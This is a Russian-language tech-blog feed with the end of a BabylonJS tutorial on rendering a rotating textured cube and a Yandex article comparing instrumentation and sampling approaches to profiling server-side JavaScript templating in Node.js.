                    Построение игровой логики начинается с создания объекта engine. При этом ему передаётся имеющийся в HTML5-документе элемент canvas.
                    var canvas = document.getElementById('gameCanvas');
                    var engine = new BABYLON.Engine(canvas, true);
                    

                    После инициализации этого объекта можно создать объект Scene, а уже после этого – добавить в игру объекты Camera, Lighting, Mesh, Texture.

                    Объект Scene


                    Сцена – это площадка, на которой строится игра, с ней связаны остальные объекты. При её создании нужно передать в конструктор объект класса Engine.
                    var scene = new BABYLON.Scene(engine);
                    

                    Объект Camera


                    Камера используется для того, чтобы отображать некоторую часть трёхмерного пространства, на которое она направлена. При создании соответствующего объекта ему передаётся ранее созданный объект Scene и задаются параметры, влияющие на то, что появится на экране.
                    var camera = new BABYLON.FreeCamera('camera1', new BABYLON.Vector3(0, 5,-10), scene);
                    camera.setTarget(BABYLON.Vector3.Zero());
                    

                    Объект Lighting


                    Объект Lighting – это источник освещения для трёхмерной сцены. При его создании указываются параметры и уже знакомый нам объект Scene.
                    var light = new BABYLON.HemisphericLight('light1', new BABYLON.Vector3(0,1,0), scene);
                    

                    Объект Mesh


                    Объект класса Mesh – это то, что позволяет задать форму трёхмерного объекта. В данном случае создаётся предопределённый объект – куб.
                    var box = new BABYLON.Mesh.CreateBox('box1', 2.0, scene);
                    

                    Объект Texture


                    Объект Texture – это изображение, которое накладывается на трёхмерный объект.
                    var texture = new BABYLON.StandardMaterial("texture1", scene);
                    texture.bumpTexture = new BABYLON.Texture("asset/babylonjs.png", scene);
                    box.material = texture;
                    

                    Объект Animation


                    Объект Animation позволяет настроить анимацию других объектов, в нашем случае – куба, на который наложена текстура.
                    var animationX = new BABYLON.Animation.CreateAndStartAnimation('boxrotate', box, 'rotation.x', 60, 360, 1, 10);
                    var animationY = new BABYLON.Animation.CreateAndStartAnimation('boxrotate', box, 'rotation.y', 60, 360, 1, 10);
                    

                    Рендеринг сцены


                    Вышеприведённые команды позволили создать сцену. Теперь нужно вывести всё, что получилось на экран.
                    engine.runRenderLoop(function(){
                           scene.render();
                    });
                    

                    Запустим пример в эмуляторе Intel XDK:

                    Проект в эмуляторе Intel XDK

                    Полный код примера


                    Ниже приведён полный код рассматриваемого примера, который можно скопировать и вставить в файл Index.html:
                    <!DOCTYPE html>
                    <html>
                    <head>
                        <title>BabylonJS</title>
                        <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=no">
                        <script src="lib/babylon.2.3.js"></script>
                        <style>
                            html, body {
                                overflow: hidden;
                                width   : 100%;
                                height  : 100%;
                                margin  : 0;
                                padding : 0;
                            }
                    
                            #gameCanvas {
                                width   : 100%;
                                height  : 100%;
                                touch-action: none;
                            }
                        </style>
                    </head>
                    <body>
                        <canvas id="gameCanvas"></canvas>
                        <script>
                            window.addEventListener('DOMContentLoaded', function(){
                                // получим DOM-элемент canvas
                                var canvas = document.getElementById('gameCanvas');
                    
                                // загрузим 3D-движок
                                var engine = new BABYLON.Engine(canvas, true);
                    
                                // createScene – функция, которая создаёт и возвращает сцену
                                var createScene = function(){
                    
                                    // создаём стандартный объект Scene
                                    var scene = new BABYLON.Scene(engine);
                    
                                    // создаём камеру типа FreeCamera, и устанавливаем её позицию как (x:0, y:5, z:-10)
                                    var camera = new BABYLON.FreeCamera('camera1', new BABYLON.Vector3(0, 5,-10), scene);
                    
                                    // наводим камеру на начало координат сцены
                                    camera.setTarget(BABYLON.Vector3.Zero());
                    
                                    // создаём простой источник света, направляем его в позицию 0,1,0 – то есть – вверх, на «небо»
                                    var light = new BABYLON.HemisphericLight('light1', new BABYLON.Vector3(0,1,0), scene);
                    
                                    // создаём стандартный трёхмерный объект — куб
                                    var box = new BABYLON.Mesh.CreateBox('box1', 2.0, scene);
                                    
                                    // добавляем текстуру, которую будем накладывать на куб
                                    var texture = new BABYLON.StandardMaterial("texture1", scene);
                                    texture.bumpTexture = new BABYLON.Texture("asset/babylonjs.png", scene);
                                    box.material = texture;
                                    
                                    // задаём параметры перемещения куба. Он будет вращаться.
                                    var animationX = new BABYLON.Animation.CreateAndStartAnimation('boxrotate', box, 'rotation.x', 60, 360, 1, 10);
                                    var animationY = new BABYLON.Animation.CreateAndStartAnimation('boxrotate', box, 'rotation.y', 60, 360, 1, 10);   
                    
                                    // возвращаем созданную сцену
                                    return scene;
                                }
                    
                                // вызываем функцию createScene 
                                var scene = createScene();
                    
                                // запускаем цикл рендеринга
                                engine.runRenderLoop(function(){
                                    scene.render();
                                });
                    
                                // обработчик событий изменения размера элемента canvas или окна
                                window.addEventListener('resize', function(){
                                    engine.resize();
                                });
                            });
                        </script>
                    </body>
                    </html>
                    

                    Выводы


                    Только что состоялось ваше первое знакомство с BabylonJS. Для того, чтобы оценить возможности этого трёхмерного движка, загляните на его официальный сайт. Там можно найти множество демонстрационных примеров и дополнительных материалов по нему. И не забудьте о документации. Если вы решите создать собственную трёхмерную игру на BabylonJS, а мы надеемся, что так и будет, документация вам точно пригодится.

                    Читайте также про разработку HTML5-игр в Intel XDK в 7 частях:

                    Часть 1 » Часть 2 » Часть 3 » Часть 4 » Часть 5 » Часть 6 » Часть 7

                    Комментарии (0)

                      Let's block ads! (Why?)

                      Профилирование JS-кода из функций. Опыт Яндекса


                      Последние полгода всем знакомый интерфейс поисковой выдачи Яндекса (Search Engine Result Page — SERP) переезжает на новую архитектуру, с которой разработка неспецифичных фич становится очень быстрой, а разработка специфичных фич — прогнозируемой. Для большой распределенной команды из 40 фронтендеров это большой успех. Когда все было почти готово и новый код начали обкатывать в production экспериментах, оказалось, что серверная JS-шаблонизация в новой архитектуре ощутимо замедлилась.



                      Новый код был проще и логичнее скомпонован, поэтому замедление было не только нежелательным, но и неожиданным. Чтобы получить «зеленый свет» для новой архитектуры, нужно было ускорить код, чтобы он работал как минимум не медленнее старого.


                      Простым «разглядыванием» проблему решить не удалось, нужно было разбираться, нужно было профилировать. Читайте дальше, чтобы узнать, как это было сделано.

                      Наша кухня


                      SERP написан на БЭМ. Серверная шаблонизация написана на JS и состоит из двух частей:


                      • код, преобразующий данные бэкенда в BEMJSON страницы (дерево блоков, элементов и модификаторов) — это PRIV-шаблонизация;
                      • код, превращающий BEMJSON в HTML — это BEMHTML-шаблонизация.

                      Вторую часть мы никак не затрагивали, архитектура заменялась в первой.


                      Сейчас в PRIV-шаблонизации BEMJSON генерируется для трех платформ – десктопов, планшетов и телефонов. Замедление коснулось только первых двух платформ.


                      PRIV-код — это большое количество функций в глобальной области видимости. Функции именуются по БЭМ и лежат в разных файликах, а в процессе сборки собираются в один файл.


                      Например:


                      // функция-блок
                      blocks[‘my-block’] = function(arg1, arg2) { /* ... */ }
                      
                      // функция-элемент – может быть обычным хелпером
                      //  или может генерировать часть ответа функции-блока
                      blocks[‘my-block__elem’] = function(arg1, arg2) { /* ... */ }
                      

                      Раньше блоки-функции были равноправны и не включались ни в какую иерархию. Просто одни блоки были низкоуровневыми и собственно генерировали BEMJSON, а другие были высокоуровневыми — звали блоки уровнем ниже.


                      В новой архитектуре у блоков появились роли с фиксированным интерфейсом. Блоки стали объединяться в уровни абстракции, формируя конвейер переработки исходных данных в итоговый BEMJSON.


                      Перед началом


                      Беглый поиск показал, что универсального профилятора JS-кода нет и сама тема освещена мало. Пришлось разбираться в методах на ходу, попутно формируя собственное мнение о них.


                      Расскажем о профилировании серверного JS-кода, перебирая методы от простых к сложным. Замечание: мы работали исключительно в Node.JS 4.2.2.


                      GUI-подход. Chromium


                      Самый простой и, казалось бы, наглядный инструмент — это профилятор, встроенный в браузеры Chromium, который можно использовать с помощью модуля node-inspector.


                      В результате работы профилятора мы получаем три представления собранных результатов:


                      • Top-Down;
                      • Bottom-Up;
                      • Chart.

                      Все три представляют собой разные способы отображения полного дерева вызовов выполненного кода. В первом случае дерево строится сверху вниз, во втором — снизу вверх, в третьем — посмотрим на примере.


                      Top-Down позволяет отслеживать время выполнения только тех вызовов функций, которые находятся на небольшой глубине стека вызовов. Проблема в отсутствии возможности горизонтальной прокрутки. В нашем случае при высоте дерева 182 удалось дойти до вызовов на глубине 37, остальное осталось скрыто за правым краем экрана.


                      Bottom-Up не требует горизонтальной прокрутки, так как можно начать просмотр дерева «с любого места». Если начали с вызова функции F, поднялись по дереву до вызова функции G и уперлись в край экрана — находим отдельно вызов G и продолжаем движение. Благо есть поиск по имени функции. Но здесь не отображаются функции, суммарное время выполнения которых оказалось меньше некоторой константы.


                      Если не удалось найти функцию в Bottom-Up, то она выполнялась совсем мало времени, или, что тоже бывает, ее заинлайнили при компиляции.


                      Chart рисует дерево вызовов привязанным к оси времени с возможностью изменения масштаба и только горизонтальной прокруткой. Здесь мы видели вызовы на глубине 32, остальное уходило за нижний край экрана.


                      GUI-подход. WebStorm


                      Chromium & node-inspector — не единственный вариант GUI-профилятора, например, WebStorm предлагает аналогичную функциональность:


                      Run → Edit Configurations… → конфигурация Node.js → вкладка V8 Profiling


                      Здесь четыре способа отображения дерева вызовов:


                      • Top Calls;
                      • Flame chart;
                      • Bottom-up;
                      • Top-down.

                      Отметим сразу, что здесь можно управлять порогом фильтрации функций по времени исполнения (можно совсем не фильтровать).


                      Top Calls в нашем случае не показывал ничего, кроме времени выполнения shared libraries (bin/node, libsystem_kernel, libsystem_malloc, libsystem_c и libstdc++).


                      Flame chart похож на Charts из Chromium, только непонятный и как будто бесполезный. Масштабировать картинку, чтобы разглядеть хоть какие-то вызовы и их вложенность, не удалось.


                      Bottom-up напоминает аналогичный режим из Chromium, только здесь нет поиска и структура немного отличается. Без поиска по именам функций этим пользоваться невозможно.


                      Top-down страдает тем же отсутствием горизонтальной прокрутки, что и Chromium в аналогичной ситуации. Посмотреть, какие функции выполнялись ниже 37 уровня вложенности, не получается. Причем здесь стек более подробный, он включает не только JS-вызовы, но и внутренности языка (ArrayForEach, InnerArrayForEach, Module._compile, Module._load и прочие).


                      GUI-вывод


                      Из рассмотренных способов GUI-профилирования наиболее удобным кажется сбор данных через node-inspector & Chromium и их анализ в виде Bottom-Up представления полного дерева вызовов с возможностью поиска.


                      Остальные методы и решения могут быть с удобством использованы при высоте дерева вызовов не больше 30.


                      Как бы то ни было, все эти способы не подходят для профилирования серверного кода. Недостаточно запустить node-inspector, включить запись CPU-профиля, сделать пару запросов и начать анализировать данные. Нужна репрезентативная выборка характерных запросов и не только суммарное время выполнения функций, но и прочие показатели — среднее время, медиана, разные перцентили. Нужен управляемый эксперимент.


                      Теория профилирования


                      Существует два базовых подхода к профилированию: instrumentation- и sampling-профилирование.


                      При instumentation-профилировании мы изменяем профилируемый код, дополняя его логированием всех вызовов функций со временем их выполнения. Этот метод собирает детальную, но немного искаженную информацию, потому что в итоге профилируется не исходный код, а измененный — с логированием.


                      При sampling-профилировании профилируемый код не меняется, но исполняющая система периодически приостанавливает его выполнение и логирует текущий снимок стека вызовов. Суть этого метода рассмотрим позднее на примере.


                      Управляемый эксперимент №1.
                      Instrumentation-подход


                      Данный подход очень органично реализуется в нашем случае, когда весь код — это набор функций. Все делается за пару шагов.


                      Хелпер для записи времени в наносекундах с помощью process.hrtime (миллисекунд Date будет не достаточно):


                      function nano() {
                          var time = process.hrtime();
                          return time[0] * 1e9 + time[1];
                      }
                      

                      Обертка, запускающая исходную функцию и логирующая время ее выполнения:


                      function __profileWrap__(name, callback, args) {
                          var startTime = nano(),
                              result = callback.apply(ctx, args),
                              time = nano() - startTime;
                      
                          logStream.write(name + ',' + time + '\n');
                          return result;
                      }
                      

                      Собственно оборачивающий код:


                      Object.keys(blocks).forEach(function(funcName) {
                          var base = blocks[funcName];
                          if (typeof base === 'function') {
                              blocks[funcName] = function() {
                                  return __profileWrap__(funcName, base, arguments);
                              };
                          }
                      });
                      

                      Все просто.


                      Но в такой реализации рекурсивные вызовы обрабатывались неправильно. Например, такой случай косвенной рекурсии:



                      Суммарное время выполнения функции X включало внутренний ее вызов дважды: один раз как часть времени работы внешнего вызова, а второй раз отдельно.


                      Для правильной обработки рекурсивных вызовов, потребовалась правка:


                      function __profileWrap__(name, callback, args) {
                          if (called[name])
                              return callback.apply(ctx, args);
                      
                          called[name] = true; // запоминаем контекст
                      
                          var startTime = nano(),
                              result = callback.apply(ctx, args),
                              time = nano() - startTime;
                      
                          delete called[name];
                      
                          logStream.write(name + ',' + time + '\n');
                          return result;
                      }
                      

                      Кроме того, добавили в профилируемый код запись в лог маркера, означающего конец обработки одного запроса. Маркер поможет сопоставить записи лога с конкретными запросами, чтобы считать разные интересующие нас метрики.


                      Чтобы обработать лог для вычисления, например, медиан времени выполнения функций, потребуется такой код:


                      var requests = [],
                          currentRequest = {};
                      
                      function getMedians() {
                          var funcTime = {};
                      
                          requests.forEach(function(request) {
                              Object.keys(request).forEach(function(funcName) {
                                  // группируем все замеры по имени функции
                                  (funcTime[funcName] = funcTime[funcName] || []).push(request[funcName]);
                              });
                          });
                      
                          Object.keys(funcTime).forEach(function(funcName) {
                              var arr = funcTime[funcName],
                                  value;
                      
                              // нормализируем
                              while (arr.length < requests.length) arr.push(0);
                      
                              // считаем медиану
                              value = median(arr);
                      
                              if (value > 0) {
                                  // заменяем массив замеров на медиану
                                  funcTime[funcName] = value;
                              } else {
                                  // нули не показываем
                                  delete funcTime[funcName];
                              }
                          });
                          return funcTime;
                      }
                      
                      function writeResults() {
                          var funcMedians = getMedians();
                      
                          // напечатаем результаты по убыванию медиан времени выполнения
                          //  в формате: <имя функции> <табуляция> <медиана времени в мс>
                          console.log(
                              Object
                                  .keys(funcMedians)
                                  .sort(function(funcNameA, funcNameB) {
                                      return funcMedians[funcNameB] - funcMedians[funcNameA];
                                  })
                                  .map(function(funcName) {
                                      return funcName + '\t' + nano2milli(funcMedians[funcName]);
                                  })
                                  .join('\n');
                          );
                      }
                      
                      function processLine(parsedLine, isItLast) {
                          if (parsedLine.isMarker) {
                              requests.push(currentRequest);
                              currentRequest = {};
                          } else {
                              // суммарные данные по одному GET-запросу
                              currentRequest[parsedLine.funcName] = (currentRequest[parsedLine.funcName] || 0) + parsedLine.time;
                          }
                      
                          if (isItLast) writeResults();
                      }
                      
                      // далее запуск парсера логов с вызовом processLine(...) для каждой строки
                      

                      Обстреляв сервер тысячей запросов, мы выявили блоки, из-за которых все тормозило. Но на этом не хотелось останавливаться — результаты нужно было подтвердить другим подходом.


                      На пути к управляемому эксперименту №2.
                      Sampling-профилирование из коробки


                      Известно, что Node.JS из коробки поддерживает этот вид профилирования. Достаточно запустить приложение с нужными параметрами, и данные будут собраны в указанный файл:


                      node --prof —logfile=v8.log my_app.js


                      man node — содержит еще много интересных опций.


                      Лог выглядит так:


                      Заметим сразу, что логирование не синхронизировано, при профилировании многопоточного кода мы получали «слепленные» строки. Обнаружив это, мы отключили на время тестов в своем проекте слой, организующий многопоточную работу PRIV-кода.


                      В процессе поиска ответа на вопрос, как прочитать лог, удалось найти модуль node-tick-processor. Этот модуль парсит лог и выводит в консоль уже знакомое нам полное дерево вызовов отработавшей программы в двух видах — bottom-up и top-down, только время исполнения для каждой функции считается не миллисекундах, а в тиках.


                      Нам захотелось узнать подробности работы алгоритма tick-processor-а и ответить на вопросы:


                      • Как строится дерево вызовов?
                      • Что значат тики?
                      • Почему тики, а не миллисекунды?

                      Сразу установили, что исходные файлы tick-processor-а — это файлы из v8/tools.


                      Парсинг лога происходит так.


                      Лог — это csv-файл, каждая строка — это команда с параметрами. Основные команды это:


                      • команды, привязывающие фрагменты кода к адресам (shared-library, code-creation, code-move);
                      • команда tick, соответствующая снимку стека (частота тиков задается опцией node —cpu_profiler_sampling_interval, по умолчанию 1 мс).

                      Фрагменты кода — это либо фрагменты C-кода (static или shared), либо фрагменты JS-кода (dynamic). Все фрагменты хранятся в трех splaytree-структурах соответственно.


                      Tick-строчки устроены так:



                      timestamp соответствует времени тика, vmState — состояние виртуальной машины (0 — выполнение JS), далее идет стек из адресов. С помощью splaytree-структур восстанавливаются имена функций в стеке.


                      Все полученные таким образом стеки склеиваются, составляя полное дерево вызовов:



                      Каждому вызову-листу присваивается значение hitCount со смыслом «сколько раз функция вызывалась таким образом». Когда профилирование окончено, hitCount вычисляются для всех внутренних узлов снизу вверх. Полученные значения и являются тиками, которые показывает в своем выводе tick-processor.


                      Есть очевидный, но грубый способ перевода тиков в миллисекунды:


                      hitTime = (maxTimestamp - minTimestamp) / (timestamps.length - 1)
                      blockTime = hitCount * hitTime


                      Время между тиками в реальности не одинаковое, а тот факт, что мы были внутри функции F во время T и во время T + 1 мс, совершенно не означает, что функция выполнялась 2 мс. Возможно, между этими моментами времени выполнялись совсем другие функции, которые такой метод профилирования «не заметит». Тем не менее, именно так время исполнения считается в Chromium — http://ift.tt/1VE7Myy


                      В любом случае нам был необходим альтернативный способ профилирования для проверки результатов instrumentation-метода.


                      Управляемый эксперимент №2.
                      Sampling-подход


                      К счастью, не пришлось долго копаться в node-tick-processor, так как нашелся модуль v8-profiler, который работает так:


                      var profiler = require(‘v8-profiler’);
                      
                      profiler.startProfiling('profilingSession');
                      
                      doSomeWork();
                      
                      console.log(profiler.stopProfiling('profilingSession'));
                      

                      При этом в консоль напечатается объект такого вида:



                      Наш профилирующий код при использовании v8-profiler выглядит так:


                      var hitTime;
                      
                      function checkoutTime(node) {
                          var hits = node.hitCount || 0;
                      
                          node.children.forEach(function(childNode) {
                              hits += checkoutTime(childNode);
                          });
                          logStream.write(node.functionName + ',' + (hits * hitTime) + '\n');
                          return hits;
                      }
                      
                      function getTime(profile) {
                          var timestamps = profile.timestamps,
                              lastTimestampIndex = timestamps.length - 1;
                      
                          // среднее время тика, переведенное из микросекунд в наносекунды
                          hitTime = 1000 * (timestamps[lastTimestampIndex] - timestamps[0]) / lastTimestampIndex;
                          checkoutTime(profile.head);
                      }
                      

                      По аналогии с instrumentation нужна правка для правильной обработки рекурсии:


                      function stackAlreadyHas(node, name) {
                          return node &&
                              (node.functionName === name || stackAlreadyHas(node.parent, name));
                      }
                      
                      function checkoutTime(node) {
                          var name = node.functionName,
                              hits = node.hitCount || 0;
                      
                          node.children.forEach(function(childNode) {
                              // добавляем связи
                              childNode.parent = name;
                      
                              hits += checkoutTime(childNode);
                          });
                      
                          // записываем результат только для первого вызова данной функции
                          if (!stackAlreadyHas(node.parent, name)) {
                              logStream.write(name + ',' + (hits * hitTime) + '\n');
                          }
                          return hits;
                      }
                      

                      Управляемые эксперименты. Результаты


                      Медиана времени выполнения блока serp-item — основного блока, соответствующего одному результату поисковой выдачи (страница содержит 10 таких результатов):


                      метод desktop tablet
                      Instrumentation 38.4 мс 35.9 мс
                      Sampling 25.3 мс 25.0 мс

                      Из-за фундаментальных отличий в методиках абсолютные значения ожидаемо получились разными.


                      На следующем шаге мы попытались максимально уменьшить вклад профилирующей логики в instrumentation-методе с помощью мелких оптимизаций. В sampling-методе мы сокращали время между тиками (метод setSamplingInterval). Картина не менялась. У вызовов, близких к корню дерева, получались похожее показатели, но чем дальше находились вызовы от корня, тем больше они отличались.


                      Выводы


                      Более глубокие вызовы соответствуют функциям, вызываемым много раз. Для них погрешность замеров равна произведению погрешности метода и числа вызовов, поэтому небольшие правки общей картины не меняют.


                      Можно считать, что sampling-метод чаще занижает показатели. Instrumentation-метод завышает показатели по построению. Вероятно, при профилировании кода с невысоким деревом вызовов оба метода будут показывать близкие результаты, но в общем случае этого ждать не стоит.


                      Несмотря на разницу в абсолютных результатах, относительные значения по конкретным блокам получались близкими. Оба метода показывали одинаковый список «тормозящих» блоков. «Управляемые эксперименты» были оформлены в виде «тулзы» для профилирования нашего PRIV-кода.


                      Цикл оптимизации в общих чертах выглядел так:


                      • Запустить тулзу.
                      • Если необходимый уровень быстродействия кода достигнут — конец.
                      • Найти тормозящие блоки-функции.
                      • Оптимизировать блоки-функции.
                      • В начало.

                      В итоге мы оптимизировали ряд блоков, и обновленный код перестал уступать в скорости старой реализации.


                      Вот текущие цифры для serp-item (напомню, показатель для всей страницы поисковой выдачи получается умножением на 10):


                      метод desktop tablet
                      Instrumentation 35.1 мс (-3.3) 34.8 мс (-1.1)
                      Sampling 24.9 мс (-0.4) 24.8 мс (-0.2)

                      Вместо заключения


                      Строго говоря, у нас был простой случай – профилирование простых плоских функций. В случае профилирования кода с объектами и наследованием или асинхронного кода будет куда труднее понимать зависимости и делать выводы о вкладе отдельных частей в общее время выполнения программы.


                      Если у нас появится задача на профилирование более сложного кода – будет соответствующее решение, о котором мы обязательно расскажем здесь.

                      Комментарии (0)

                        Let's block ads! (Why?)